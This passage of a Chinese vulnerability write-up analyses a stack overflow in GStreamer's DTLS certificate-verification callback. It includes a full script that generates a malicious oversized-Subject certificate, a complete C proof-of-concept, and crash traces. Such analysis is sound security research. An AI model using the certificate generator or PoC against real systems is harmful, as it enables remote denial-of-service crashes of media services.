AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA60, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA61, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA62, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA63, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA64, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA65, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA66, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA67, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA68, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA69

5.2 恶意 Subject 为什么会线性变长

只说明“叠多个 OU= 就能变长”还不够,更关键的是说明它为什么会以几乎可预测的方式稳定增长。

当前仓库里的生成脚本是 scripts/generate_malicious_cert.sh,核心逻辑如下:

parts = ["/CN=test"]
for idx in range(count):
    parts.append(f"/OU={'A' * payload_len}{idx:02d}")

这个脚本的设计并不复杂,但有两个点很关键。

其一,每个 OU 的值都由两部分组成:

  • 固定长度的 A * payload_len
  • 一个两位数字后缀 idx:02d

所以在默认参数 RDN_PAYLOAD_LEN=32 下,每个 OU 的纯值长度其实不是 32,而是 34 字节。

其二,漏洞路径里真正决定风险的不是 /OU=... 这种 OpenSSL -subj 输入串有多长,而是 X509_NAME_print_ex(..., XN_FLAG_MULTILINE) 格式化之后到底产出了多长的输出。实际使用的 scripts/generate_malicious_cert.sh 全文如下;它除了拼接 Subject,还会导出 .crt、.key、合并后的 .pem、Subject 文本以及 PEM 尺寸信息:

#!/usr/bin/env bash
set -euo pipefail

out_path="${1:-/artifacts/malicious-client.pem}"
rdn_count="${RDN_COUNT:-70}"
rdn_payload_len="${RDN_PAYLOAD_LEN:-32}"
workdir="$(mktemp -d)"

cleanup() {
  rm -rf "${workdir}"
}
trap cleanup EXIT

subject="$(python3 - "${rdn_count}" "${rdn_payload_len}" <<'PY'
import sys

count = int(sys.argv[1])
payload_len = int(sys.argv[2])
parts = ["/CN=test"]

for idx in range(count):
    parts.append(f"/OU={'A' * payload_len}{idx:02d}")

print("".join(parts))
PY
)"

openssl req -x509 -nodes -newkey rsa:2048 \
  -keyout "${workdir}/key.pem" \
  -out "${workdir}/cert.pem" \
  -days 1 \
  -sha256 \
  -subj "${subject}" >/dev/null 2>&1

mkdir -p "$(dirname "${out_path}")"

cp "${workdir}/cert.pem" "${out_path%.pem}.crt"
cp "${workdir}/key.pem" "${out_path%.pem}.key"
cat "${workdir}/cert.pem" "${workdir}/key.pem" > "${out_path}"

openssl x509 -in "${workdir}/cert.pem" -noout -subject \
  > "${out_path%.pem}.subject.txt"

wc -c "${out_path}" > "${out_path%.pem}.pem.size.txt"
 commonName                = test
 organizationalUnitName    = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA00
 organizationalUnitName    = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA01

在这份真实输出里:

  • commonName = test 这一行长度是 33
  • 每一行 organizationalUnitName = <34 字节值> 的内容长度是 63
  • 相邻行之间还有一个换行符

于是只要 idx 仍然保持两位数,长度模型就几乎可以直接写成:

总长度 = 33 + RDN_COUNT * (RDN_PAYLOAD_LEN + 32)

对本文默认参数代入就是:

33 + 70 * (32 + 32) = 4513

这恰好和 PoC 打出来的 formatted subject length via X509_NAME_print_ex: 4513 完全一致。

这个结论说明,恶意 Subject 的增长不是“碰巧很长”,而是一种可预测、可调参、可复现实验的线性扩张。攻击者每多加一个 OU,就会把格式化输出再往前推一整段固定长度,而旧代码对这种增长完全没有上界收敛。

5.3 离线危险阈值:不是 70 个 OU 才会越过边界

默认脚本使用 RDN_COUNT=70,这当然足以触发漏洞,但它不是唯一会越过危险边界的参数。对同一套证书生成脚本和一个调用 X509_NAME_print_ex() 的本地测量程序做离线扫描,固定 RDN_PAYLOAD_LEN=32,得到的结果如下:

RDN_COUNT

X509_NAME_print_ex() 长度

29

1889

30

1953

31

2017

32

2081

33

2145

70

4513

这组数字说明了两件事。

先看增长斜率。在默认 payload_len=32 时,每多一个 OU,长度就稳定增加 64 字节,这和上一节的长度模型完全一致。

再看真正越过边界的位置。第一次跨过脆弱边界 2048 的点是 RDN_COUNT=32,对应长度 2081:

  • 31 个 OU 还不够,len = 2017
  • 32 个 OU 就已经足以让离线格式化长度越过危险边界,len = 2081

这里需要区分“离线边界”与“完整握手已验证边界”。当前仓库中被完整跑通并留下崩溃日志的是默认 70 个 OU 的 PoC;而 32 个 OU 这一结论,严格来说只证明 X509_NAME_print_ex() 的输出已经越过 2048 字节边界,按源码语义进入危险区间。若要把它写成“当前仓库已验证的最小完整握手复现阈值”,还需要补一份对应的握手日志或复现实验结果。

仓库默认的 70 个 OU 更像是一个把现象放大到足够明显的保守复现参数,而不是离线测量意义上的最低危险门槛。

进一步把 RDN_COUNT 固定在 32,只改 RDN_PAYLOAD_LEN,还能看到另一条很干净的规律:

RDN_PAYLOAD_LEN

X509_NAME_print_ex() 长度

8

1313

16

1569

24

1825

32

2081

40

2337

这说明每额外增加 1 个 payload 字节,它都会被复制到每一个 OU 上;在 RDN_COUNT=32 的条件下,总长度就会再增加 32 字节。这不是单点突刺,更像是一个“字段值长度”和“字段数量”相互叠加放大的乘法模型。

5.4 恶意证书被注入到哪里

PoC 中的证书注入点非常直接:

g_object_set (c_dec, "pem", pem, "connection-id", "client", NULL);

攻击者可控的证书材料就是这样被放到客户端 dtlsdec 一侧的。握手过程中,另一端会对该证书进行验证,而这一步最终会落入 OpenSSL 的证书校验回调 openssl_verify_callback()。

这一点说明,漏洞触发并不依赖“证书被后续业务逻辑解析”。只要握手阶段发生证书校验,恶意 Subject DN 就已经进入了高风险路径。

PoC 还做了一个很有必要的前置检查。它不是把 pem 塞进去之后盲等崩溃,而是先用同一套 OpenSSL 接口对同一份 PEM 做一次本地测量:

subject_len = measure_subject_len (pem);
if (subject_len <= 2048) {
  ...
}

这一步的价值在于,它先证明“危险长度已经客观成立”,再进入网络握手触发阶段。整个 PoC 在逻辑上可以拆成两个独立断言:

  • 这张证书经过 X509_NAME_print_ex() 格式化后,长度确实超过 2048
  • 这份已经超过边界的格式化结果,随后会在真实握手过程中流入脆弱回调

这种两阶段设计可以在复现失败时先区分是“证书长度根本没过线”,还是“握手路径没有按预期走到回调”,避免把所有变量混在一起。

5.5 从握手到溢出的完整数据流

把整条触发链路压缩后,只剩下几步:

攻击者构造超长 Subject DN
  -> 证书被注入 dtlsdec
  -> DTLS 握手触发证书验证
  -> OpenSSL 调用 openssl_verify_callback()
  -> X509_NAME_print_ex() 返回格式化长度 len
  -> BIO_read(..., buffer, len)
  -> buffer[len] = '\0'
  -> 固定栈数组越界写

这条链路里真正危险的,不只是攻击者能控制证书内容,而是这些内容会先被格式化成字符串,得到的真实输出长度又原样回流成后续写入长度。问题不只在“输入长”,还在函数内部把这个长度当成了可信边界。

5.6 为什么等待 4 次密钥回调

PoC 中有一个容易被忽略但很关键的实现细节: 它会等待 4 次 on-key-received 回调,用来确认两端与 DTLS 相关的密钥事件已经全部走完。

这个等待逻辑用于区分两种状态:脆弱版本可能在握手中途崩溃,修复版本则会继续进入 post-handshake 的数据收发检查。

5.7 真实调用栈逐层还原

此时已经可以确定漏洞发生在证书校验回调里,但还需要把崩溃时的真实执行路径逐层拆开。

artifacts/vuln/repro.log 里的关键栈片段如下:

#20 src_task_loop                 gstdtlsenc.c:543
#19 gst_pad_push
#16 sink_chain                    gstdtlsdec.c:633
#15 process_buffer                gstdtlsdec.c:504
#14 gst_dtls_connection_process   gstdtlsconnection.c:674
#13 SSL_read
#7  X509_verify_cert
#5  openssl_verify_callback       gstdtlsconnection.c:1124

把这几层和 PoC 元素对齐后,整条路径就很清楚了。

先看 poc/repro_dtls_overflow.c。PoC 先把恶意证书 PEM 注入 client_dec,再把 client_enc 的 src pad 直接连到 server_dec 的 sink pad:

c_dec = gst_element_factory_make ("dtlsdec", "client_dec");
g_object_set (c_dec, "pem", pem, "connection-id", "client", NULL);
...
c_enc = gst_element_factory_make ("dtlsenc", "client_enc");
g_object_set (c_enc, "connection-id", "client", "is-client", TRUE, NULL);
...
if (!gst_element_link_pads (s_enc, "src", c_dec, "sink")) {
  g_printerr ("failed to link server encoder to client decoder\n");
  goto cleanup;
}

if (!gst_element_link_pads (c_enc, "src", s_dec, "sink")) {
  g_printerr ("failed to link client encoder to server decoder\n");
  goto cleanup;
}

这段上下文把入口关系讲得更完整了: 攻击者可控证书先通过 pem 属性进入 client_dec,而真正把握手 record 推向对端的是 client_enc:src 这条链路。也就是说,线程名 client_enc:src 不是一个无关细节,它准确说明了: 触发崩溃的 DTLS 记录,是由客户端编码器的源任务线程推出来,再被服务端解码器接住的。

第一层,gstdtlsenc.c 里的 src_task_loop() 会从内部队列取出一个待发送的 DTLS buffer,然后直接把它推上 src pad:

if (buffer) {
  ret = gst_pad_push (self->src, buffer);
  if (check_connection_timeout)
    gst_dtls_connection_check_timeout (self->connection);

  if (G_UNLIKELY (ret == GST_FLOW_NOT_LINKED || ret < GST_FLOW_EOS)) {
    GST_WARNING_OBJECT (self, "failed to push buffer on src pad: %s",
        gst_flow_get_name (ret));
  }
  g_mutex_lock (&self->queue_lock);
  self->src_ret = ret;
  g_mutex_unlock (&self->queue_lock);
}

这一步的含义非常直接: 客户端侧已经把一个握手阶段产生的 DTLS record 推进了 GStreamer pad 链路。

第二层,这个 buffer 进入 gstdtlsdec.c 的 sink_chain()。这里也没有什么额外魔法,代码先把 buffer 变成可写,再直接交给 process_buffer(),而 process_buffer() 又把 map 后的原始字节交给 gst_dtls_connection_process():

static GstFlowReturn
process_buffer (GstDtlsDec * self, GstBuffer * buffer)
{
  ...
  if (!gst_buffer_map (buffer, &map_info, GST_MAP_READWRITE))
    return GST_FLOW_ERROR;
  ...
  flow_ret =
      gst_dtls_connection_process (self->connection, map_info.data,
      map_info.size, &written, &err);
  gst_buffer_unmap (buffer, &map_info);
  ...
}

static GstFlowReturn
sink_chain (GstPad * pad, GstObject * parent, GstBuffer * buffer)
{
  ...
  buffer = gst_buffer_make_writable (buffer);
  ret = process_buffer (self, buffer);
  if (ret == GST_FLOW_ERROR) {
    ...
  }
  ...
}

也就是说,dtlsdec 并没有自己解析证书,它只是把收到的 DTLS 记录原样交给底层 GstDtlsConnection。

第三层,在 gstdtlsconnection.c 里,gst_dtls_connection_process() 会先把当前收到的网络数据挂到自定义 BIO 上,然后马上进入 SSL_read():

priv->bio_buffer = data;
priv->bio_buffer_len = len;
priv->bio_buffer_offset = 0;

log_state (self, "process start");

if (!priv->is_client) {
  if (self->priv->connection_state == GST_DTLS_CONNECTION_STATE_NEW) {
    priv->connection_state = GST_DTLS_CONNECTION_STATE_CONNECTING;
    notify_state = TRUE;
  }
}

ret = SSL_read (priv->ssl, data, len);
*written = ret >= 0 ? ret : 0;
GST_DEBUG_OBJECT (self, "read result: %d", ret);

这个 SSL_read() 在 DTLS 握手尚未完成时,并不只是“读应用数据”。它会顺带驱动 OpenSSL 的握手状态机继续前进,包括处理握手报文、解析证书链、执行证书验证。站在 GStreamer 的角度看,漏洞是由一次普通的“处理输入 DTLS 数据”触发的;站在 OpenSSL 的角度看,这次 SSL_read() 同时承担了握手推进器的角色。

第四层,证书验证回调之所以会出现在这条路径里,是因为连接对象创建时已经显式注册了它,同时也把 self 挂进了 SSL 的 ex_data 槽位:

priv->ssl = SSL_new (ssl_context);
...
priv->bio = BIO_new (BIO_s_gst_dtls_connection ());
...
BIO_set_data (priv->bio, self);
SSL_set_bio (priv->ssl, priv->bio, priv->bio);

SSL_set_verify (priv->ssl,
    SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT,
    openssl_verify_callback);
SSL_set_ex_data (priv->ssl, connection_ex_index, self);

因此,当 SSL_read() 推进到证书校验阶段,OpenSSL 会在 X509_verify_cert() 过程中回调 openssl_verify_callback(),攻击者证书中的超长 Subject DN 也就在这一刻落到脆弱代码上。

还有一个关键源码细节:回调函数形参明明只有 X509_STORE_CTX *x509_ctx,代码最终却能拿回 GStreamer 自己的 self 对象。这依赖的不是全局变量,而是 OpenSSL 的 ex_data 机制。回调开头的真实代码如下:

static int
openssl_verify_callback (int preverify_ok, X509_STORE_CTX * x509_ctx)
{
  GstDtlsConnection *self;
  SSL *ssl;
  ...

  ssl =
      X509_STORE_CTX_get_ex_data (x509_ctx,
      SSL_get_ex_data_X509_STORE_CTX_idx ());
  self = SSL_get_ex_data (ssl, connection_ex_index);
  g_return_val_if_fail (GST_IS_DTLS_CONNECTION (self), FALSE);
  ...
}

第一步,X509_STORE_CTX 是一次证书校验过程里的临时上下文对象,它本身不是 GStreamer 连接对象,也不是长期存在的会话状态。SSL_get_ex_data_X509_STORE_CTX_idx() 返回的是 OpenSSL 预留好的槽位编号,用来从当前 X509_STORE_CTX 反查出它所属的 SSL *。

第二步,GStreamer 在更早创建连接对象时,又把自己的 GstDtlsConnection 指针挂进了 SSL 的应用私有槽位里。于是回调拿到 SSL * 之后,再通过 SSL_get_ex_data() 就能把上层对象取回来。

这段链路说明,openssl_verify_callback() 虽然是 OpenSSL 驱动的底层回调,但执行到真正危险代码时,已经重新回到了“带有 GStreamer 对象上下文的应用层语义”里。也正因为如此,后面的 GST_DEBUG_OBJECT()、g_signal_emit() 和证书 Subject 打印,才会自然发生在同一个回调里。

把这条路径压缩成一句话,就是:

client_enc 源任务推送握手记录
  -> server_dec sink_chain 收包
  -> gst_dtls_connection_process 调用 SSL_read
  -> SSL_read 推进 DTLS 握手与证书校验
  -> X509_verify_cert 触发 openssl_verify_callback
  -> 超长 Subject DN 导致固定栈数组越界写

这段调用链的意义在于,它把“漏洞存在于证书回调里”进一步落实成了“漏洞是在处理对端握手数据的正常输入路径上被远程触发的”。也正因为触发入口是正常的 DTLS record 处理流程,而不是某个特殊调试接口或本地管理路径,这个漏洞才具备稳定的远程 DoS 价值。

5.8 最小 PoC 全文

前面的代码片段已经足够解释触发链,完整的最小复现程序如下,便于把各处局部片段放回同一份上下文中:

#include <gst/check/gstcheck.h>
#include <gst/check/gstharness.h>
#include <gst/gst.h>

#include <openssl/bio.h>
#include <openssl/pem.h>
#include <openssl/x509.h>

typedef struct
{
  GMutex lock;
  GCond cond;
  gint key_count;
  gboolean errored;
} ReproState;

static GstBusSyncReply
bus_msg_handler (GstBus * bus, GstMessage * message, gpointer user_data)
{
  ReproState *state = user_data;

  if (GST_MESSAGE_TYPE (message) == GST_MESSAGE_ERROR) {
    g_mutex_lock (&state->lock);
    state->errored = TRUE;
    g_cond_broadcast (&state->cond);
    g_mutex_unlock (&state->lock);
  }

  return GST_BUS_PASS;
}

static void
on_key_received (GstElement * element, gpointer user_data)
{
  ReproState *state = user_data;

  g_mutex_lock (&state->lock);
  state->key_count++;
  g_cond_broadcast (&state->cond);
  g_mutex_unlock (&state->lock);
}

static gboolean
wait_for_key_count (ReproState * state, gint expected, gint timeout_seconds)
{
  gint64 deadline = g_get_monotonic_time () + timeout_seconds * G_TIME_SPAN_SECOND;

  g_mutex_lock (&state->lock);
  while (state->key_count < expected && !state->errored) {
    if (!g_cond_wait_until (&state->cond, &state->lock, deadline))
      break;
  }

  if (state->errored) {
    g_mutex_unlock (&state->lock);
    return FALSE;
  }

  if (state->key_count < expected) {
    g_mutex_unlock (&state->lock);
    return FALSE;
  }

  g_mutex_unlock (&state->lock);
  return TRUE;
}

static gchar *
load_text_file (const gchar * path)
{
  gchar *contents = NULL;
  gsize length = 0;
  GError *error = NULL;

  if (!g_file_get_contents (path, &contents, &length, &error)) {
    g_printerr ("failed to read %s: %s\n", path, error->message);
    g_clear_error (&error);
    return NULL;
  }

  if (length == 0) {
    g_printerr ("input file is empty: %s\n", path);
    g_free (contents);
    return NULL;
  }

  return contents;
}

static gint
measure_subject_len (const gchar * pem)
{
  BIO *pem_bio = NULL;
  BIO *name_bio = NULL;
  X509 *cert = NULL;
  gint len = -1;

  pem_bio = BIO_new_mem_buf ((gpointer) pem, -1);
  if (!pem_bio)
    goto cleanup;

  cert = PEM_read_bio_X509 (pem_bio, NULL, NULL, NULL);
  if (!cert)
    goto cleanup;

  name_bio = BIO_new (BIO_s_mem ());
  if (!name_bio)
    goto cleanup;

  len = X509_NAME_print_ex (name_bio, X509_get_subject_name (cert), 1,
      XN_FLAG_MULTILINE);

cleanup:
  BIO_free (name_bio);
  X509_free (cert);
  BIO_free (pem_bio);
  return len;
}

int
main (int argc, char **argv)
{
  static gchar data[] = { 0x00, 0x01, 0x02, 0x03 };
  ReproState state = { 0 };
  GstHarness *server = NULL;
  GstHarness *client = NULL;
  GstElement *s_enc = NULL;
  GstElement *s_dec = NULL;
  GstElement *c_enc = NULL;
  GstElement *c_dec = NULL;
  GstElement *s_bin = NULL;
  GstElement *c_bin = NULL;
  GstPad *target = NULL;
  GstPad *ghost = NULL;
  GstBus *bus = NULL;
  GstBuffer *buffer = NULL;
  GstBuffer *buf2 = NULL;
  gchar *pem = NULL;
  gint subject_len;
  gint ret = 1;

  gst_init (&argc, &argv);

  if (argc != 2) {
    g_printerr ("usage: %s <combined-cert-and-key.pem>\n", argv[0]);
    return 2;
  }

  pem = load_text_file (argv[1]);
  if (!pem)
    return 2;

  subject_len = measure_subject_len (pem);
  g_print ("formatted subject length via X509_NAME_print_ex: %d\n", subject_len);
  if (subject_len <= 2048) {
    g_printerr ("subject length is not large enough to trigger the vulnerable path\n");
    goto cleanup;
  }

  g_mutex_init (&state.lock);
  g_cond_init (&state.cond);

  s_bin = gst_bin_new ("server_bin");
  c_bin = gst_bin_new ("client_bin");

  s_dec = gst_element_factory_make ("dtlsdec", "server_dec");
  g_object_set (s_dec, "connection-id", "server", NULL);
  g_signal_connect (s_dec, "on-key-received", G_CALLBACK (on_key_received),
      &state);
  gst_element_set_state (s_dec, GST_STATE_PAUSED);
  gst_bin_add (GST_BIN (s_bin), s_dec);

  s_enc = gst_element_factory_make ("dtlsenc", "server_enc");
  g_object_set (s_enc, "connection-id", "server", NULL);
  g_signal_connect (s_enc, "on-key-received", G_CALLBACK (on_key_received),
      &state);
  gst_element_set_state (s_enc, GST_STATE_PAUSED);
  gst_bin_add (GST_BIN (c_bin), s_enc);

  c_dec = gst_element_factory_make ("dtlsdec", "client_dec");
  g_object_set (c_dec, "pem", pem, "connection-id", "client", NULL);
  g_signal_connect (c_dec, "on-key-received", G_CALLBACK (on_key_received),
      &state);
  gst_element_set_state (c_dec, GST_STATE_PAUSED);
  gst_bin_add (GST_BIN (c_bin), c_dec);

  c_enc = gst_element_factory_make ("dtlsenc", "client_enc");
  g_object_set (c_enc, "connection-id", "client", "is-client", TRUE, NULL);
  g_signal_connect (c_enc, "on-key-received", G_CALLBACK (on_key_received),
      &state);
  gst_bin_add (GST_BIN (s_bin), c_enc);

  if (!gst_element_link_pads (s_enc, "src", c_dec, "sink")) {
    g_printerr ("failed to link server encoder to client decoder\n");
    goto cleanup;
  }

  if (!gst_element_link_pads (c_enc, "src", s_dec, "sink")) {
    g_printerr ("failed to link client encoder to server decoder\n");
    goto cleanup;
  }

  gst_element_set_state (c_enc, GST_STATE_PAUSED);

  target = gst_element_request_pad_simple (c_dec, "src");
  ghost = gst_ghost_pad_new ("src", target);
  gst_element_add_pad (s_bin, ghost);
  gst_object_unref (target);
  target = NULL;

  target = gst_element_request_pad_simple (s_enc, "sink");
  ghost = gst_ghost_pad_new ("sink", target);
  gst_element_add_pad (s_bin, ghost);
  gst_object_unref (target);
  target = NULL;

  target = gst_element_request_pad_simple (s_dec, "src");
  ghost = gst_ghost_pad_new ("src", target);
  gst_element_add_pad (c_bin, ghost);
  gst_object_unref (target);
  target = NULL;

  target = gst_element_request_pad_simple (c_enc, "sink");
  ghost = gst_ghost_pad_new ("sink", target);
  gst_element_add_pad (c_bin, ghost);
  gst_object_unref (target);
  target = NULL;

  server = gst_harness_new_with_element (s_bin, "sink", "src");
  client = gst_harness_new_with_element (c_bin, "sink", "src");

  gst_harness_set_src_caps_str (server, "application/data");
  gst_harness_set_src_caps_str (client, "application/data");

  bus = gst_bus_new ();
  gst_bus_set_sync_handler (bus, bus_msg_handler, &state, NULL);
  gst_element_set_bus (s_bin, bus);
  gst_element_set_bus (c_bin, bus);
  gst_object_unref (bus);
  bus = NULL;

  g_print ("waiting for DTLS handshake to finish\n");
  if (!wait_for_key_count (&state, 4, 10)) {
    g_printerr ("handshake did not complete cleanly\n");
    goto cleanup;
  }

  g_print ("handshake completed, verifying post-handshake data path\n");

  buffer = gst_buffer_new_wrapped_full (GST_MEMORY_FLAG_READONLY, data,
      G_N_ELEMENTS (data), 0, G_N_ELEMENTS (data), NULL, NULL);

  gst_harness_push (server, gst_buffer_ref (buffer));
  buf2 = gst_harness_pull (server);
  if (!buf2 || gst_buffer_memcmp (buf2, 0, data, G_N_ELEMENTS (data)) != 0) {
    g_printerr ("server data round-trip failed\n");
    goto cleanup;
  }
  gst_buffer_unref (buf2);
  buf2 = NULL;

  gst_harness_play (client);
  gst_harness_push (client, gst_buffer_ref (buffer));
  buf2 = gst_harness_pull (client);
  if (!buf2 || gst_buffer_memcmp (buf2, 0, data, G_N_ELEMENTS (data)) != 0) {
    g_printerr ("client data round-trip failed\n");
    goto cleanup;
  }
  gst_buffer_unref (buf2);
  buf2 = NULL;

  g_print ("reproduction program completed without sanitizer findings\n");
  ret = 0;

cleanup:
  if (buf2)
    gst_buffer_unref (buf2);
  if (buffer)
    gst_buffer_unref (buffer);
  if (target)
    gst_object_unref (target);
  if (bus)
    gst_object_unref (bus);
  if (s_bin)
    gst_object_unref (s_bin);
  if (c_bin)
    gst_object_unref (c_bin);
  if (server)
    gst_harness_teardown (server);
  if (client)
    gst_harness_teardown (client);
  g_free (pem);
  g_cond_clear (&state.cond);
  g_mutex_clear (&state.lock);
  return ret;
}

6. 脆弱代码逐行分析

分析到这里,重点已经可以完全收敛到 openssl_verify_callback() 中对长度和缓冲区关系的错误处理,而不是 DTLS 状态机本身。

6.1 受影响函数

脆弱代码位于:

subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c

目标函数及其关键上下文如下。直接看修复前 1.28.4 的真实函数片段,比单独看一行 sink 更能说明问题:

static int
openssl_verify_callback (int preverify_ok, X509_STORE_CTX * x509_ctx)
{
  GstDtlsConnection *self;
  SSL *ssl;
  BIO *bio;
  gchar *pem = NULL;
  gboolean accepted = FALSE;

  ssl =
      X509_STORE_CTX_get_ex_data (x509_ctx,
      SSL_get_ex_data_X509_STORE_CTX_idx ());
  self = SSL_get_ex_data (ssl, connection_ex_index);
  g_return_val_if_fail (GST_IS_DTLS_CONNECTION (self), FALSE);

  pem = _gst_dtls_x509_to_pem (X509_STORE_CTX_get0_cert (x509_ctx));

  if (!pem) {
    GST_WARNING_OBJECT (self,
        "failed to convert received certificate to pem format");
  } else {
    bio = BIO_new (BIO_s_mem ());
    if (bio) {
      gchar buffer[2048];
      gint len;

      len =
          X509_NAME_print_ex (bio,
          X509_get_subject_name (X509_STORE_CTX_get0_cert (x509_ctx)), 1,
          XN_FLAG_MULTILINE);
      BIO_read (bio, buffer, len);
      buffer[len] = '\0';
      GST_DEBUG_OBJECT (self, "Peer certificate received:\n%s", buffer);
      BIO_free (bio);
    } else {
      GST_DEBUG_OBJECT (self, "failed to create certificate print membio");
    }

    g_signal_emit (self, signals[SIGNAL_ON_PEER_CERTIFICATE], 0, pem,
        &accepted);
    g_free (pem);
  }

  return accepted;
}

6.2 回调执行顺序:越界发生在“是否接受证书”之前

如果把函数中部的执行顺序单独拎出来看,漏洞链条会更清楚:

if (bio) {
  gchar buffer[2048];
  gint len;

  len =
      X509_NAME_print_ex (bio,
      X509_get_subject_name (X509_STORE_CTX_get0_cert (x509_ctx)), 1,
      XN_FLAG_MULTILINE);
  BIO_read (bio, buffer, len);
  buffer[len] = '\0';
  GST_DEBUG_OBJECT (self, "Peer certificate received:\n%s", buffer);
  BIO_free (bio);
}

g_signal_emit (self, signals[SIGNAL_ON_PEER_CERTIFICATE], 0, pem, &accepted);

只看 PoC 时,最容易忽略两点。

先看 preverify_ok。函数形参里虽然有它,但这段实现里根本没有使用它。OpenSSL 对证书的预验证结果,并不会在进入危险复制之前形成任何边界。

这件事的影响不只是“代码风格不够严谨”,而是直接决定了危险路径的可达性。按照很多开发者的直觉,证书如果预验证失败,后续应用逻辑似乎就不该再认真处理它;但这里的真实执行顺序恰好相反: 回调一进来,代码先把证书 Subject 提出来转成 PEM、再格式化打印、再发出上层信号,整个过程中并没有先用 preverify_ok 做任何短路。

在这个函数里,preverify_ok 更像一个被彻底放过的安全语义提示。OpenSSL 已经把“这张证书当前预验证状态如何”作为参数显式交给了回调,但 GStreamer 这段旧实现没有用它来约束任何内存操作。于是攻击者并不需要追求“让证书通过验证”这个更强目标;只要能把恶意证书送进证书校验阶段,让回调开始处理 Subject 文本,就已经足以命中越界写。这也是为什么前面反复强调: 漏洞触发条件是“进入证书处理路径”,不是“证书被信任”。

再看 g_signal_emit() 的位置。它发生在 BIO_read() 和 buffer[len] = '�' 之后。应用层就算后续通过 on-peer-certificate 回调拒绝这张证书,也已经来不及阻止越界写了。漏洞触发点属于“证书验证过程中的调试/打印路径”,而不是“证书被业务正式接受之后”的后置逻辑。

这也是为什么该漏洞的攻击面比很多人第一眼想的更直接: 攻击者不需要让证书通过信任校验,只要让目标进入证书校验回调并处理 Subject DN,就足够触发脆弱代码。

6.3 一个容易误判的点:溢出不发生在 OpenSSL 内部

很多人第一次读到 X509_NAME_print_ex() 时,会下意识把问题归因到 OpenSSL 的证书打印逻辑上,但真实的数据流不是这样。延续前文那段脆弱代码,真正需要盯住的是 bio = BIO_new (...)、X509_NAME_print_ex (...)、BIO_read (...) 这三步的先后关系。

这段代码其实分成两个阶段。

第一阶段,X509_NAME_print_ex() 只是把 Subject DN 的格式化结果写进一个内存 BIO,并返回“实际生成了多少字节”。这个阶段的目标不是 buffer[2048],因此溢出并不是在 OpenSSL 内部直接发生的。

第二阶段,GStreamer 自己再调用 BIO_read(),试图把前面那段已经格式化好的字符串拷回本地栈数组。真正越界的是这一步。OpenSSL 提供的是“长度真实可变的格式化输出”,而 GStreamer 在承接这个输出时错误地假定它“应该足够短”。

这个区分很重要,因为它决定了我们该怎么给漏洞定性: 这不是密码库底层 ASN.1 解析出了内存破坏,而是上层集成代码在做日志字符串搬运时,自行引入了固定缓冲区风险。XN_FLAG_MULTILINE 还会让输出带上分隔和换行格式,因此最终 len 反映的是完整格式化结果长度,而不是某个“理应很短”的字段值。

XN_FLAG_MULTILINE 在这里还有一个经常被低估的副作用: 它不只是“换一种更好看的打印格式”,而是在系统性放大最终输出长度。对于每一个 RDN,输出里不只有攻击者直接提供的值本身,还会额外出现字段标签、对齐空格、=、以及行尾换行符。攻击者控制的因此不只是“某个字段值有多长”,而是在驱动一个“字段值长度 + 格式化固定开销”共同增长的结果串。

这也是为什么本文前面推导出的长度模型会这么稳定。每多一个 OU,增加的并不只是那几十个 A,还包括 organizationalUnitName 这一整套多行格式开销。对漏洞利用来说,这种格式化放大特别危险,因为它会让开发者低估输入到输出的膨胀比例: 源输入看起来只是多了几个合法字段,真正进入 BIO_read() 的却是一个已经被打印层重新扩容过的结果。

6.4 关键 API 语义:X509_NAME_print_ex() 返回的到底是什么

要真正理解这个漏洞,不能只停留在“len 很大”这个结论上,还得把 len 的语义讲透。因为现实里大量类似 bug,本质上都是开发者误读了长度返回值。

这段代码里最关键的语句就是 len = X509_NAME_print_ex (...)。

len 的含义不是“后续安全缓冲区应该开多大以内”,而是“这次 Subject DN 被格式化后,BIO 中已经存在多少字节的输出结果”。这里至少有三层很重要的边界认知:

  • 它和后续的 gchar buffer[2048] 没有任何天然关系,因为 X509_NAME_print_ex() 写入的是内存 BIO,不是这个栈数组。
  • 它不是经过裁剪的长度。攻击者只要能继续把 Subject DN 堆长,len 就会继续增长。
  • 它也不是“可放心拿来当 C 字符串索引”的值,因为后续真实读取到了多少字节,还要看 BIO_read() 的返回值。

旧代码的问题就在这里: 它把一个“描述 BIO 中现有数据规模”的值,错当成了“描述本地目的缓冲区安全边界”的值。这类 bug 的危险之处不在 API 本身多复杂,而在于它表面上太像常规打印流程,开发者很容易把“返回长度”下意识理解成“已经适配好下游缓冲区的长度”。

从仓库里的 PoC 也能看出这一点。poc/repro_dtls_overflow.c 在真正触发握手前,先单独调用一次 measure_subject_len() 测量同一张证书的 Subject 输出长度;打印结果稳定是 4513。这说明危险长度并不是在崩溃瞬间偶然产生的,而是证书一旦被格式化,它就已经客观存在,并且会被原样带入后续复制阶段。

更重要的是,measure_subject_len() 和真实漏洞回调在语义上几乎是同构的。PoC 那边的核心代码是:

cert = PEM_read_bio_X509 (pem_bio, NULL, NULL, NULL);
name_bio = BIO_new (BIO_s_mem ());
len = X509_NAME_print_ex (name_bio, X509_get_subject_name (cert), 1,
    XN_FLAG_MULTILINE);

而脆弱回调里对应的,就是前文同一条 X509_NAME_print_ex (...) 调用,只不过证书对象来自当前握手过程里的 X509_STORE_CTX。

两段逻辑真正的差别,不在 X509_NAME_print_ex() 本身,而只在“证书对象从哪里来”。PoC 是先从本地 PEM 解析出一个 X509 *cert,再测它的 Subject 输出长度;真实漏洞路径则是在握手过程中,由 OpenSSL 从 X509_STORE_CTX 里拿到当前正在校验的那张证书,再对同一个 Subject 做同样的格式化。只要 PoC 使用的 PEM 最终就是握手里送到对端校验的那张证书,那么本地量出来的 4513,和回调里最终得到的 len,在语义上就是同一件事的两次观测。

